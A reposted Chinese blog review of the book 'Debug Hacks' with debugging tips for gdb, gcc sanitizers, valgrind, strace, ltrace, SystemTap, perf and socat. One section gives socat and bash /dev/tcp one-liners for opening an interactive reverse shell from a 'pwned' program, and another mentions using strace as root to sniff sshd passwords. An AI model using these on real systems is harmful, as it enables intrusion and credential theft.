《Debug Hacks》和调试技巧【转】
轉自:https://blog.csdn.net/sdulibh/article/details/46462529
Debug Hacks
作者為吉岡弘隆、大和一洋、大巖尚宏、安部東洋、吉田俊輔,有中文版《Debug Hacks中文版—深入調試的技術和工具》。這本書涉及了很多調試技巧,對調試器使用、內核調試方法、常見錯誤的原因,還介紹了systemtap、strace、ltrace等一大堆工具,非常值得一讀。
話說我聽說過的各程序設計課程似乎都沒有強調過調試的重要性,把調試當作單獨一節課來上(就算有估計也上不好),很多人都只會printf調試法,breakpoint都很少用,就不提conditional breakpoint、watchpoint、reverse execution之類的了。也看到過很多同學在調試上浪費了很長很長的時間。
下面是篇review,也包含了一些我自己整理的一些調試技巧。
折騰工具
繼續牢騷幾句,我接觸過的人當中感覺最執著與折騰工具的人只有兩個,ppwwyyxx和xiaq,他們是少有的能把折騰工具當作正經工作來做的人。
很久以前我還會到處在網上搜索好的實用工具,尤其是那些CLI程序,比如renameutils、xsel、recode、the_silver_searcher,查閱文檔定制自己的配置文件。但這么做花費的時間太多。后來就想我可以搜索一些善于折騰的人的配置文件,關注他們修改了哪些地方,我的配置只要取眾家之所長就可以了。
先厚顏自薦一下我的配置。下面的用戶列表就是我找到的在GitHub上把dotfiles配置地井井有條的人(如果GitHub支持按照項目的大小排序,列表搜集就能省很多麻煩了):
| 1 | alejandrogomez?bhj craigbarnes dotvim hamaco joedicastro laurentb ok100 pyx roylez sjl trapd00r vodik w0ng |
有了上述的dotfiles,其他人的dotfiles大多都不愿看了。但是五岳歸來不看山,黃山歸來不看岳,ppwwyyxx的dotfiles感覺與之前諸位相比更勝一籌。
無關的話到此結束,下面是正文:
gdb
記錄歷史
把下面幾行添加到~/.gdbinit中吧,gdb啟動時會自動讀取里面的命令并執行:
| 1 2 3 | set?history?save?on set?history?size?10000 set?history?filename ~/.history/gdb |
我習慣在~/.history堆放各個歷史文件。有了歷史,使用readline的reverse-search-history (C-r)就能輕松喚起之前輸入過的命令。
修改任意內存地址的值
| 1 | set?{int}0x83040?=?4 |
顯示intel風格的匯編指令
| 1 | set?disassembly-flavor intel |
斷點在function prologue前
先說一下function prologue吧,每個函數最前面一般有三四行指令用來保存舊的幀指針(rbp),并騰出一部分??臻g(通常用于儲存局部變量、為當前函數調用其他函數騰出空間存放參數,有時候還會存儲字面字符串,當有nested function時也會用于保存當前的棧指針)。
在x86-64環境下典型的funcition prologue長成這樣:
| 1 2 3 | push?rbp mov?rbp,?rsp sub?rsp,?0x10 |
可能還會有and指令用于對齊rsp。如果編譯時加上-fomit-frame-pointer(Visual Studio中文版似乎譯作“省略框架指針”),那么生成的指令就會避免使用rbp,function prologue就會簡化成下面一行:
| 1 | sub?rsp,?0x10 |
設置斷點時如果使用了b *func的格式,也就是說在函數名前加上*,gdb就會在執行function prologue前停下,而b func則是在執行function prologue后停下。參考下面的會話:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | % gdb a.out Reading symbols from /tmp/a.out...done. (gdb) b *main Breakpoint?1?at?0x4005cc: file a.c, line?4. (gdb) r Starting program: /tmp/a.out warning:?Could?not?load shared library symbols for linux-vdso.so.1. Do?you need?"set solib-search-path"?or?"set sysroot"? Breakpoint?1, main ()?at?a.c:4 4?{ (gdb) disas Dump of assembler code for function main: =>?0x00000000004005cc?<+0>:?push?rbp 0x00000000004005cd?<+1>:?mov?rbp,rsp 0x00000000004005d0?<+4>:?sub?rsp,0x10 0x00000000004005d4?<+8>:?mov?DWORD?PTR?[rbp-0x4],0x0 0x00000000004005db?<+15>:?mov?eax,DWORD?PTR?[rbp-0x4] 0x00000000004005de?<+18>:?mov?esi,eax 0x00000000004005e0?<+20>:?mov?edi,0x4006ec 0x00000000004005e5?<+25>:?mov?eax,0x0 0x00000000004005ea?<+30>:?call?0x400454?<printf@plt> 0x00000000004005ef?<+35>:?leave 0x00000000004005f0?<+36>:?ret End of assembler dump. (gdb) |
Checkpoint
gdb可以為被調試的程序創建一個快照,即保存程序運行時的狀態,等待以后恢復。這個是非常方便的一個功能,特別適合需要探測接下來會發生什么但又不想離開當前狀態時使用。
ch是創建快照,d c ID是刪除指定編號的快照,i ch是查看所有快照,restart ID是切換到指定編號的快照,詳細說明可以在shell里鍵入info '(gdb) Checkpoint/Restart'查看。
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | % gdb ./a.out Reading symbols from /tmp/a.out...done. (gdb) b?6 Breakpoint?1?at?0x4005db:?file?a.c, line?6. (gdb) r Starting program: /tmp/a.out warning: Could?not?load?shared?library?symbols?for?linux-vdso.so.1. Do you need?"set solib-search-path"?or?"set sysroot"? Breakpoint?1, main () at a.c:6 6?printf("%d\n", a); (gdb) ch checkpoint: fork returned pid?6420. (gdb) p a=3 $1?=?3 (gdb) i ch 1?process?6420?at?0x4005db,?file?a.c, line?6 *?0?process?6416?(main?process) at?0x4005db,?file?a.c, line?6 (gdb) restart?1 Switching?to?process?6420 #0?main () at a.c:6 6?printf("%d\n", a); (gdb) c Continuing. 0 [Inferior?1?(process?6420) exited?with?code?02] [Switching?to?process?6416] (gdb) |
上面的會話中先用ch創建了一個快照,緊接著a被修改為了3,隨后用restart 1恢復到編號為1的快照,繼續運行程序可以發現a仍然為原來的值0。
以色列的Haifa Linux club有一次講座講gdb,講稿值得一看:http://haifux.org/lectures/210/gdb_-_customize_it.html
逆向技術
Long Le的peda很不錯,感覺比http://reverse.put.as的https://github.com/gdbinit/Gdbinit好用。
gcc
Mudflap
使用了compile-time instrumentation(CTI)的工具。編譯時加上-fmudflap -lmudflap選項即可,會在很多不安全代碼生成的指令前加上判斷合法性的指令。
| 1 2 3 4 5 6 7 8 9 10 11 12 13 | % echo 'int main() { int z[1]; z[1] =?2; }' | cc -xc - -fmudflap -lmudflap % ./a.out ******* mudflap violation?1?(check/write):?time=1376473424.792953?ptr=0x7fff2cde3150?size=8 pc=0x7fa2bacf86f1?location=`<stdin>:1:29?(main)' /usr/lib/gcc/x86_64-pc-linux-gnu/4.7.3/libmudflap.so.0(__mf_check+0x41) [0x7fa2bacf86f1] ./a.out(main+0x8f) [0x400b6b] /lib64/libc.so.6(__libc_start_main+0xf5) [0x7fa2ba968c35] Nearby object?1: checked region begins?0B into?and?ends?4B after mudflap object?0x7070e0:?name=`<stdin>:1:18?(main) z' bounds=[0x7fff2cde3150,0x7fff2cde3153]?size=4?area=stack?check=0r/3w?liveness=3 alloc?time=1376473424.792946?pc=0x7fa2bacf7de1 number of nearby objects:?1 |
第一行用-xc -讓cc從標準輸入讀源代碼,并當作C來編譯。接來下執行./a.out,可以看到運行時程序報錯了。
使用MUDFLAP_OPTIONS環境變量可以控制Mudflap的運行期行為,具體參見Mudflap Pointer Debugging。
AddressSanitizer
和Mudflap類似的工具,clang和gcc可以加上選項-fsanitize=address使用,比如:
| 1 | clang -fsanitize=address a.c |
如果想在出錯的地方斷點停下來,可以用gdb打開,輸入b __asan_report_store1回車,再輸入r回車運行程序。
-ftrapv
這個選項是調試有符號整型溢出問題的利器。在i386環境下,gcc會把int32_t運算編譯成call __addvsi3,__addvsi3函數會在運行時檢查32位有符號加法運算是否產生溢出,如果是則調用abort函數中止程序。減法、乘法和取反運算也有類似的運行時函數檢查溢出,另外也有64位版本的__addvdi3等函數。但不存在對無符號整型的溢出檢測函數。比如下面這些代碼均會觸發trap:
| 1 2 3 4 | int?a = INT_MAX; a++; int?b = INT_MIN; b--; int?c = INT_MAX; c *=?2; int?d = INT_MIN; d = -d; |
這段代碼來自gcc項目目錄的libgcc/libgcc2.c:
| 1 2 3 4 5 6 7 8 9 10 11 | #ifdef L_subvsi3 Wtype __subvSI3 (Wtype a, Wtype b) { const?Wtype w = (UWtype) a - (UWtype) b; if?(b >=?0?? w > a : w < a) abort?(); return?w; } |
但注意在x86-64環境下-ftrapv只檢查64位溢出??紤]下面這段代碼:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 | #include?<limits.h> #include?<stdio.h> int?main() { int?a = INT_MAX; a++; puts("barrier"); long?b = LONG_MAX; b++; } |
在x86-64下用gcc編譯運行,輸出barrier后才會執行abort使程序中止,因為int32_t的溢出不會觸發trap。
clang也有-ftrapv,在x86-64環境下對于int32_t的溢出也能觸發trap。
_FORTIFY_SOURCE
gets、strcpy這類函數容易造成stack mashing。gcc編譯時如果指定了-D_FORTIFY_SOURCE=1,生成的匯編程序中這些不安全的函數調用會被替代為libc.so中名字類似__gets_chk的一類安全函數,會在運行期檢查是否產生了緩沖區溢出。比如,下面的代碼會在運行時報錯:
| 1 2 3 4 5 6 7 | #include?<string.h> int?main() { char?a[2]; strcpy(a,?"meow"); } |
Gentoo Portage從gcc-4.3.3-r1開始默認開啟_FORTIFY_SOURCE標志了,好多發行版都開啟了,測試發現Arch Linux的gcc似乎沒有。shell里執行下面代碼就可以看到Gentoo里是怎么定義_FORTIFY_SOURCE的了:
| 1 | echo?-e?'#undef __OPTIMIZE__\nmain() { printf("%d\\n", _FORTIFY_SOURCE); }'?| cpp |
也就是當優化等級在-O1或以上時_FORTIFY_SOURCE會生效,名字為__$func_chk模式的函數會被使用。這種做法造成了一些麻煩,比如suricata?git tree里的src/suricata.c使用了#ifdef _FORTIFY_SOURCE,會造成編譯無法通過。
-fstack-protector
-fstack-protector -fstack-protector-all gcc 4.8.1 -fstack-protector-strong
https://securityblog.redhat.com/2013/10/23/debugging-stack-protector-failures/
開啟Stack-Smashing Protector (SSP)。我的理解是在儲存的幀指針(rbp)前寫入一個magic number,函數返回的時候檢查下這個magic number是否被改動,如果是就可能產生stack smashing了。這個方法的footprint最小,但是保護力度也比較弱。
IA32
function prologue 80484c0: 65 a1 14 00 00 00 mov eax,gs:0x14 80484c6: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
function epilogue 80484d7: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 80484da: 65 33 05 14 00 00 00 xor eax,DWORD PTR gs:0x14 80484e1: 74 05 je 80484e8 80484e3: e8 68 fe ff ff call 8048350?__stack_chk_fail@plt?80484e8: c9 leave 80484e9: c3 ret
x86-64
function prologue:
4005c9: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 4005d0: 00 00 4005d2: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
function epilogue
400618: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28 40061f: 00 00 400621: 74 05 je 400628 400623: e8 88 fe ff ff call 4004b0?__stack_chk_fail@plt?400628: 48 83 c4 78 add rsp,0x78 40062c: c3 ret
execinfo.h
提供了int backtrace (void **buffer, int size)、char ** backtrace_symbols (void *const *buffer, int size)在程序運行時查看函數調用棧。參見http://www.gnu.org/software/libc/manual/html_node/Backtraces.html。
Misc
Valgrind
一系列調試和profiling工具的套件,其中的Memcheck是一個使用了dynamic binary instrumentation(DBI)的工具, 在程序指令間插入自己的指令檢查validity和addressablity。另外Memcheck替換了標準的malloc,這樣就可以檢測出off-by-one error、double free、內存泄漏等許多問題。
Memcheck引入的footprint極小,無需重編譯程序,也沒有繁瑣的配置。比如原來是用./a.out執行程序,需要Memcheck時就換成valgrind ./a.out。
在程序訪問某一內存地址時Memcheck會檢查是否有越界之類的錯誤,Memcheck能診斷出大量但不是全部的訪問錯誤,比如下面這樣有問題的代碼就沒法檢查出來:
| 1 2 3 4 5 | int?main() { int?a[1]; a[1992] =?12; } |
因為a[1992]的地址在棧上,允許訪問。
Valgrind啟動時會讀取~/.valgrindrc,對于memcheck我配置了下面這幾行:
| 1 2 3 4 5 6 7 8 | --memcheck:leak-check=yes --memcheck:show-possibly-lost=yes --memcheck:show-reachable=yes --memcheck:track-origins=yes --memcheck:dsymutil=yes --memcheck:track-fds=yes --memcheck:track-origins=yes --memcheck:gen-suppressions=all |
valgrind --vgdb-error=0 --vgdb=yes很強大,可以在進程遇到錯誤時讓gdb調試。
strace
記錄程序執行的系統調用和收到的信號,和valgrind類似,使用非常簡單:
| 1 | strace ./a.out |
有一些選項可以attach到現有進程上去(-p)、記錄時刻(-t)、統計系統調用使用次數(-c)、過濾特定的系統調用(-e)等。
帶上-c選項可以統計系統調用的使用次數:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | %?strace?-c?ls chap04?chap05?chap06?chap07?chap08?chap09?chap10?chap11?chap12?chap13?chap14?chap15?chap16?chap17 %?time?seconds?usecs/call?calls?errors?syscall ------?-----------?-----------?---------?---------?---------------- 0.00?0.000000?0?5?read 0.00?0.000000?0?1?write 0.00?0.000000?0?7?open 0.00?0.000000?0?10?close 0.00?0.000000?0?8?fstat 0.00?0.000000?0?20?mmap 0.00?0.000000?0?12?mprotect 0.00?0.000000?0?2?munmap 0.00?0.000000?0?3?brk 0.00?0.000000?0?2?rt_sigaction 0.00?0.000000?0?1?rt_sigprocmask 0.00?0.000000?0?2?ioctl 0.00?0.000000?0?1?1?access 0.00?0.000000?0?1?execve 0.00?0.000000?0?1?fcntl 0.00?0.000000?0?2?getdents 0.00?0.000000?0?1?getrlimit 0.00?0.000000?0?1?arch_prctl 0.00?0.000000?0?2?1?futex 0.00?0.000000?0?1?set_tid_address 0.00?0.000000?0?1?openat 0.00?0.000000?0?1?set_robust_list ------?-----------?-----------?---------?---------?---------------- 100.00?0.000000?85?2?total |
-e選項只跟蹤指定系統調用:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | % strace -e read,open ls open("/etc/ld.so.cache",?O_RDONLY|O_CLOEXEC) =?3 open("/lib64/librt.so.1",?O_RDONLY|O_CLOEXEC) =?3 read(3,?"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220(\0\0\0\0\0\0"...,?832) =?832 open("/lib64/libacl.so.1",?O_RDONLY|O_CLOEXEC) =?3 read(3,?"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320#\0\0\0\0\0\0"...,?832) =?832 open("/lib64/libc.so.6",?O_RDONLY|O_CLOEXEC) =?3 read(3,?"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@M\2\0\0\0\0\0"...,?832) =?832 open("/lib64/libpthread.so.0",?O_RDONLY|O_CLOEXEC) =?3 read(3,?"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@}\0\0\0\0\0\0"...,?832) =?832 open("/lib64/libattr.so.1",?O_RDONLY|O_CLOEXEC) =?3 read(3,?"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\25\0\0\0\0\0\0"...,?832) =?832 open("/usr/lib64/locale/locale-archive",?O_RDONLY|O_CLOEXEC) =?3 chap04 chap05 chap06 chap07 chap08 chap09 chap10 chap11 chap12 chap13 chap14 chap15 chap16 chap17 +++ exited?with?0?+++ |
使用strace還可以做一些很可怕的事,比如有root權限的情況下嗅探sshd以得到其他嘗試SSH登錄的用戶的密碼:SSHD password sniffing。
-p很有用,比如調試CGI wrapperfcgiwrap,觀察它的輸出:
| 1 | strace?-s200 -p$(pidof?-s?fcgiwrap)?-e?write |
ltrace
記錄程序調用的動態庫中的函數。名字和strace很像,使用方式和很多命令行選項也如出一轍。
查看echo test
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | % ltrace echo?test __libc_start_main(0x401590,?2,?0x7fff2bb3d4d8,?0x403ef0?<unfinished ...> getenv("POSIXLY_CORRECT") = nil strrchr("echo",?'/') = nil setlocale(LC_ALL,?"") =?"en_US.UTF-8" bindtextdomain("coreutils",?"/usr/share/locale") =?"/usr/share/locale" textdomain("coreutils") =?"coreutils" __cxa_atexit(0x401cf8,?0,?0,?0x736c6974756572) =?0 strcmp("test",?"--help") =?71 strcmp("test",?"--version") =?71 fputs_unlocked(0x7fff2bb3f1d3,?0x7f50af982160,?0,?45) =?1 putchar_unlocked(10,?116,?0x7f50afba6004, 0xfbad2a84test ) =?10 exit(0?<unfinished ...> __fpending(0x7f50af982160,?0,?4,?0x7f50af982cf0) =?0 ferror_unlocked(0x7f50af982160,?0,?4,?0x7f50af982cf0) =?0 fileno(0x7f50af982160) =?1 __freading(0x7f50af982160,?0,?4,?0x7f50af982cf0) =?0 __freading(0x7f50af982160,?0,?2052,?0x7f50af982cf0) =?0 fflush(0x7f50af982160) =?0 fclose(0x7f50af982160) =?0 __fpending(0x7f50af982080,?0,?0,?0) =?0 ferror_unlocked(0x7f50af982080,?0,?0,?0) =?0 fileno(0x7f50af982080) =?2 __freading(0x7f50af982080,?0,?0,?0) =?0 __freading(0x7f50af982080,?0,?4,?0) =?0 fflush(0x7f50af982080) =?0 fclose(0x7f50af982080) =?0 +++ exited (status?0) +++ |
Ltrace Internals描述了ltrace的實現機制。
SystemTap
SystemTap提供了一套底層工具用于trace/probe。用戶編寫SystemTap script語言的程序,SystemTap將其翻譯為C代碼,再編譯成臨時的內核模塊。內核模塊加載時SystemTap script腳本里的hook就會在特定event發生時執行。當SystemTap腳本停止運行時,相應的hook就被刪除,移除臨時的內核模塊。這一整套流程都是通過一個簡單的CLI程序stap驅動的。
SystemTap使用前的配置過程比較復雜,需要特制的內核,開啟CONFIG_KPROBES=y、CONFIG_DEBUG_INFO=y等諸多內核編譯選項。
比如如下的簡單腳本就能顯示各進程調用net/socket.c內函數的情況:
| 1 2 3 4 5 6 | probe kernel.function("*@net/socket.c").call { printf?("%s?->?%s\n", thread_indent(1), ppfunc()) } probe kernel.function("*@net/socket.c").return?{ printf?("%s?<-?%s\n", thread_indent(-1), ppfunc()) } |
perf
| 1 2 3 4 | perf record?-e?probe_a:main?-e?probe_a:main_1 /home/ray/tmp/a perf annotate sudo?perf probe -x ~/tmp/a?'main%return %ip %sp' sudo?perf record?-e?probe_a:main?-e?probe_a:main_1 /home/ray/tmp/a &&?sudo?perf script |
可執行文件不能在tmpfs分區。
| 1 | A=~/tmp; cc -xc <(echo?'main(){}') -Wl,-rpath,$A?-o a &&?sudo?perf probe?-d?'*'?|| :;?sudo?perf probe -x?$A/libc.so.6?malloc &&?sudoperf record?-e?probe_libc:malloc?-aR ./a &&?sudo?perf report -n |
其他
書里還介紹了很多神奇的玩意兒,比如kaho,用于讀取被編譯器優化掉的變量;livepatch,運行時動態修改變量、替換函數等。這兩個工具我在網上檢索了下,感覺是個proof of concept的東西,也沒有更新了。不夠這些思路很奇特,想到了并試圖去解決調試時常受困擾的問題,很棒。
?
?
?
CFLAGS使用-g3
?
對于重度使用macro的程序很有用,可以在gdb里使用info macro NAME、macro expand EXPR等命令了,print參數里的macro也可以展開。
rr
參見http://rr-project.org/,調試時最痛苦的莫過于難于重現,rr可以把不確定的外部影響固定下來。它的初衷是用來調Firefox的,由此可見它的可用性……幻燈片http://rr-project.org/rr.html介紹了很多內部機理,值得一看。
gdb -p不可用: ptrace: Operation not permitted.
gdb無法attach到用戶相同的另一個進程上。Arch Linux、Ubuntu等很多發行版的內核默認設置了kernel.yama.ptrace_scope,參見https://lwn.net/Articles/393012/,即不具有CAP_SYS_PTRACE?capability的進程只能ptrace它的后裔進程(子、孫、玄孫、來孫、晜孫、仍孫、云孫、耳孫等)。不特別在乎安全性的話,可以執行sudo sysctl kernel.yama.ptrace_scope=0。
收到SIGINT(或其他信號)后立刻用gdb調試自己
設想是fork產生一個新進程并停下來,原進程exec成gdb并attach調試新進程。注意:新進程應設置以創建新的進程組,不然gdb按數次continue后自身也會被stop,gdb所在終端將丟失前臺進程組。這里我不太清楚gdb被stop的具體原因,但進程組經常作為一個整體和信號、終端等概念相互關聯,可能是這方面的原因。
這里SIGINT可以考慮換成SIGFPE、SIGSEGV等,以防止進程死亡,用gdb交互式檢視各個變量的值等以便于差錯。
https://gist.github.com/MaskRay/298e87e465f45988d37f:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | #include?<signal.h> #include?<stdio.h> #include?<stdlib.h> #include?<sys/types.h> #include?<unistd.h> void?sigint(int) { pid_t pid = fork(); if?(pid == -1) abort(); else?if?(pid) { char?s[13]; sprintf(s,?"%d", pid); execlp("gdb",?"gdb",?"-p", s, NULL); }?else?{ setpgid(0, getpid()); kill(getpid(), SIGSTOP); } } int?main() { signal(SIGINT, sigint); sleep(1337); puts("seen after gdb"); sleep(1337); } |
調試使用終端特性的程序
對于ncurses這類使用終端特性的程序,在gdb下調試時,gdb交互的終端也會被程序使用,程序可能執行屏幕擦除、移動光標等操作,和gdb交互的輸出混雜在一起,產生干擾。解決方案是使用gdb的tty命令(文檔見info '(gdb) Input/Output')。下面以rlwrap rev為例說明調試方法。
使用coreutils中的tty命令(并非gdb的tty命令)獲得當前終端的名稱,如/dev/pts/13,然后創建新shell會話,假設終端名是/dev/pts/14,將用作被調試程序的標準輸入、輸出、出錯。在這個新終端里執行sleep 9999(如果不執行這條命令的話,/dev/pts/14的前臺進程組是shell,會搶奪終端輸入,而sleep不會讀取終端輸入,因此不會和被調試程序競爭)。
然后回到原來的shell會話(/dev/pts/13),用gdb調試程序:
| 1 2 3 | % gdb -tty /dev/pts/14?--args?rlwrap rev Reading symbols from rlwrap...(no?debugging symbols found)...done. (gdb)?r |
之后即可在/dev/pts/14和被調試程序交互了。或者用命令tty /dev/pts/14替代命令行選項-tty。
注意,此時被調試程序的標準輸入、輸出、出錯均為/dev/pts/14,但沒有控制終端(controlling terminal),并且能在/dev/pts/14看到gdb的警報:warning: GDB: Failed to set controlling terminal: Operation not permitted。用strace調試gdb可以看到ioctl(3, TIOCSCTTY, 0) = -1 EPERM (Operation not permitted),即gdb嘗試把/dev/pts/14設為被調試進程的控制進程,但失敗了。原因是/dev/pts/14上還有shell和sleep 9999以它為控制終端,無法搶奪。不過多數情況用不著控制終端提供的一些功能。
參見http://dirac.org/linux/gdb/07-Debugging_Ncurses_Programs.php。
socat
把不同輸入輸出端對接的瑞士軍刀,是nc的進化型,支持非常多的網絡協議、文件等IO方式。
下面演示如何把一個程序的輸入和輸出分別接到監聽的某個socket的輸出和輸入上。
對弈的gnuchess
創建black.sh:
| 1 2 | #!/bin/zsh {?echo?depth?0; cat;?echo?exit;} | gnuchess?-e?| stdbuf -o0 grep?-aPo?'(?<=My move is : )\S+' |
用socat啟動TCP服務端:socat tcp-l:4444,reuseaddr exec:./black.sh。
創建white.sh:
| 1 2 | #!/bin/zsh {?echo?depth?0;?echo?go; cat;?echo?exit;} | gnuchess?-e?| tee /tmp/output | stdbuf -o0 grep?-aPo?'(?<=My move is : )\S+' |
用socat啟動TCP客戶端:socat tcp:0:4444,reuseaddr exec:./white.sh。之后即可在/tmp/output看到兩個gnuchess進程的對局。執行gnuchess,輸入depth 0后可以限制它的搜索深度(加快運行速度),輸入go可以讓它走一步。
寫到此處,忽然想到之前NOI 2010團體對抗賽時,不了解這些東西的用法,浪費了很大工夫。
輸入輸出到終端的reverse shell
通常用system("sh")等方式搞的shell都不是interactive shell,沒有提示符,也無法用readline的快捷鍵,不方便。下面介紹產生interactive shell的方法:
本地監聽9999端口,等遠端被pwn的程序連接:
| 1 2 | socat stdio,raw,echo=0?tcp-l:9999 # 或者使用stty -echo raw; nc -l 9999; stty echo -raw |
遠端執行:
| 1 | socat tcp:0:9999?exec:'bash -i',pty,stderr?# 0應填之前監聽9999端口的機器的IP |
當然遠端很可能沒有socat,可以用util-linux包中的script:
| 1 | script -qc?'bash -i'?/dev/null &>/dev/tcp/0/9999?<&1?# 使用了bash創建socket的功能 |
pstack
打印指定進程的系統棧。
本質是一段腳本,核心是下面這句話:
| 1 2 | #!/bin/zsh gdb -q -nx -p?$1?<<<?'t a a bt'?2>&- | sed?-ne?'/^#/p' |
你應該把它保存到你的工具集里。新的gdb支持對單線程進程使用thread apply all bt了。
| 1 2 3 4 5 6 7 8 9 10 11 12 | % pstack $$ #0?0x00007fc00a3a6866?in?sigsuspend ()?from?/usr/lib/libc.so.6 #1?0x0000000000471906?in?signal_suspend () #2?0x0000000000442d56?in??? () #3?0x0000000000443437?in?waitjobs () #4?0x0000000000429b4b?in??? () #5?0x000000000042a6e1?in?execlist () #6?0x000000000042a970?in?execode () #7?0x000000000043c1dc?in?loop?() #8?0x000000000043f30e?in?zsh_main () #9?0x00007fc00a393800?in?__libc_start_main ()?from?/usr/lib/libc.so.6 #10?0x000000000041013e?in?_start () |
安裝新的gdb
gdb和gcc有一定的版本適配性,有些惡劣的工作環境需要自己編譯安裝gdb,下面只是我折騰C++ STL查看器的注記。
| 1 | ./configure --prefix=~/.local/stow/gdb --with-gdb-datadir=/usr/share/gcc-4.9/python |
~/.gdbinit里添加:
| 1 2 3 4 5 6 | python import?sys sys.path.append('/usr/share/gcc-4.9/python') from?libstdcxx.v6.printers?import?register_libstdcxx_printers register_libstdcxx_printers(None) end |
沒有源碼的環境調試
用sshfs或其他文件共享手段從其他機器上掛載源碼目錄,使用directory命令設置源碼查找目錄。另外還有set substitute-path,參見info '(gdb) Source Path'。
MongoDB resource limits動態設置調試記
MongoDB使用mmap映射數據文件及分配內存,把內存管理的任務交給操作系統,造成內存使用量無法控制。我誤以為resource limits中的RLIMIT_AS可以限制虛擬內存使用, 就在啟動mongod前執行ulimit -v $[512*1024],效果是之后所有在shell里啟動的新進程的虛擬內存都不能超過512MiB。
在測試寫入性能時,發現過了很長時間也沒有把所有測試數據插入成功。后查看日志發現這些記錄:
| 1 2 | 2015-03-13T20:20:18.558+0800?[conn1] ERROR: mmap?private?failed?with?out?of?memory. (64?bit build) 2015-03-13T20:20:18.558+0800?[conn1] Assertion:?13636:file?/tmp/db/test.2?open/create?failed?in?createPrivateMap (look?in?logfor?more information) |
大概每5秒鐘會產生一段錯誤記錄,估計和mmap有關。使用strace查看mongod及其所有子進程(包括當前和未來創建的)的mmap系統調用:strace -fe mmap -p $(pgrep -n mongod),產生大量重復的輸出:
| 1 2 | [pid?31551] mmap(NULL,?67108864, PROT_READ|PROT_WRITE, MAP_SHARED,?17,?0) =?0x7f2e58716000 [pid?31551] mmap(NULL,?67108864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE,?17,?0) = -1?ENOMEM (Cannot allocate memory) |
即以兩個mmap為單元,不斷輸出這兩行,注意到mmap(2)參數中的文件描述符fd,再列示已有的文件描述符ls -l /proc/$(pgrep -n mongod)/fd/。猜測這兩個mmap都和數據文件(test.0、test.1等)有關。后來再用pmap -p $(pgrep -n mongod)列示已映射的地址空間,發現與0x7f2e58716000(第一次執行的mmap的返回值)地址相近的都是些數據文件,印證了猜測。后來看/proc下該進程的相關信息,發現/proc/$(pgrep -n mongod)/limits列示的Max address space不正常,終于想到是先前ulimit -v限制了地址空間大小,導致了這個問題。之后有兩個解決辦法,一是關閉mongod,修改resource limits后重啟,二是動態修改resource limits。為了好玩,自然選第二個。先要找出RLIMIT_AS的數值:ag RLIMIT_AS /usr/include/bits,發現是9,之后用gdb?attach到mongod上修改resource limits:
| 1 2 3 4 5 6 7 | $ gdb -p $(pgrep -n mongod) (gdb)?set?$r?= &{0ll,?0ll} (gdb) p getrlimit(9,$r) $1?=?0 (gdb)?set?(*$r)[0]=-1?# struct rlimit { rlim_t rlim_cur; rlim_t rlim_max; } 要修改的項是rlim_cur (gdb) p setrlimit(9,$r) $1?=?0 |
成功修改了resource limits!之后日志中果然出現了數據文件新建成功的信息,不再有mmap的錯誤了。
轉載于:https://www.cnblogs.com/sky-heaven/p/9947581.html
總結
以上是生活随笔為你收集整理的《Debug Hacks》和调试技巧【转】的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 基础纹理
- 下一篇: 企业门户项目实施方法论(IPS方法简介)